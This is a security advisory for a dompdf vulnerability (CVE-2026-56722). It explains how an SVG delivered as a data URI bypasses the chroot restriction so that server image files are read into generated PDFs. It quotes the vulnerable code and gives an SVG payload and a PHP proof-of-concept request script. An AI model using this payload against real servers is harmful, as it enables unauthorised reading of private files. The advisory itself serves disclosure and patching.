

Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI

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Content

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Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI

- Advisory: GHSA-cx96-42px-69fm
- CVE: CVE-2026-56722
- Severity: medium
- Published: 2026-07-22
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Affected

- `dompdf/dompdf` (composer): < 3.1.6, fixed in 3.1.6

Description

Description: An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server's file system, bypassing the `chroot` restriction. The

vulnerability is exploitable in the default configuration. **Exploitation conditions:** An external user **Researcher:** Nikita Sveshnikov (Positive Technologies)

Research

dompdf restricts access to local files using the `chroot` mechanism. By default, `chroot` is set to the root directory of dompdf (`Options.php:350-351`):

Listing 1. `chroot` settings

```
$rootDir = realpath(__DIR__ . "../");  
$this->setChroot(array($rootDir));  
// result: chroot = ["/path/to/vendor/dompdf/dompdf"]
```

When the HTML references a local file, `Options::validateLocalUri()` checks that the path resides within `chroot`. A direct link to the file outside this directory is correctly blocked:

Listing 2. Blocking link

```
<!-- BLOCKED: /tmp/ is outside chroot -->  

```

How the protection is bypassed:

An attacker wraps the link to the target file in SVG format and delivers it via `data: URI`:

Listing 3. Wrapping link in SVG

```

```

Inside the base64 payload is an SVG containing the `<image>` element that points to the target file:

Listing 4. Pointing to the target file

```
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"  
  width="589" height="415">  
  <image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/>  
</svg>
```

Why the bypass works:

The issue is that dompdf handles the SVG twice: first through its own validator and then via `php-svg-lib` — and the second pass does not apply the protection that the first pass does.

Step 1. The `data://` protocol has no validation rules (`Options.php:546-547`):

Listing 5. Lack of rules

```
case "data://":  
    break; // no rules
```

SVG content passes without any checks.

Step 2. dompdf pre-parses the SVG and validates the links inside it (`Cache.php:137-183`), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.

Step 3. When rendering, the PDF backend passes the SVG to `php-svg-lib` with external links enabled (`lib/Cpdf.php:6315-6319`):

Listing 6. Passing the SVG

```
$doc = new \Svg\Document();  
$doc->allowExternalReferences = true; // forced  
$doc->loadFile($file);
```

`php-svg-lib` is a separate library that has no information about the `chroot` directory or the dompdf validation rules.

Step 4. The `<image>` handler in `php-svg-lib` blocks only `phar://`, everything else is allowed when `allowExternalReferences` is true (`php-svg-lib/src/Svg/Tag/Image.php:60-68`):

Listing 7. `phar://` blocking

```
if ($scheme === "phar"  
    || ($this->document->allowExternalReferences === false && $scheme !== "data")) {  
    return;  
}  
$this->document->getSurface()->drawImage($this->href, ...);
```

Step 5. `drawImage()` invokes `file_get_contents()` with no restrictions (`php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172`):

Listing 8. `file_get_contents()` call

```
$data = file_get_contents($image); // reads ANY path
```

There is no `chroot` check. No protocol validation. The file is read and embedded into the PDF.

An example of exploitation:

Listing 9. An example of a vulnerable code (`html2pdf.php`)

```

require_once __DIR__ . '/vendor/autoload.php';

$dmpdf = new Dmpdf\Dmpdf();
$dmpdf->loadHtml($_POST['html']);
$dmpdf->render();
$dmpdf->stream('poc.pdf', ['Attachment' => false]);

```

Listing 10. An example attack on the vulnerable code

```

$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';

$svg = '<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415">'
    . '<image xlink:href="' . htmlspecialchars($file, ENT_QUOTES) . '" x="0" y="0"
width="589" height="415"/>'
    . '</svg>';

$html = '<html><body>'
    . ''
    . '</body></html>';

$url = 'http://example.com/html2pdf.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];

// use key 'http' even if you send the request to https://...
$options = [
    'http' => [
        'header' => $headers,
        'method' => 'POST',
        'content' => http_build_query($data),
        'ignore_errors' => true,
    ],
];

$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

```

*Figure 1. The image was read successfully *

Credits

References

- <<https://github.com/dompdf/dompdf/security/advisories/GHSA-cx96-42px-69fm>>
- <<https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0>>
- <<https://github.com/dompdf/dompdf/commit/bf7b02f642e26007dedc5a22b3d6e15f9931120a>>
- <<https://github.com/dompdf/dompdf/releases/tag/v3.1.6>>
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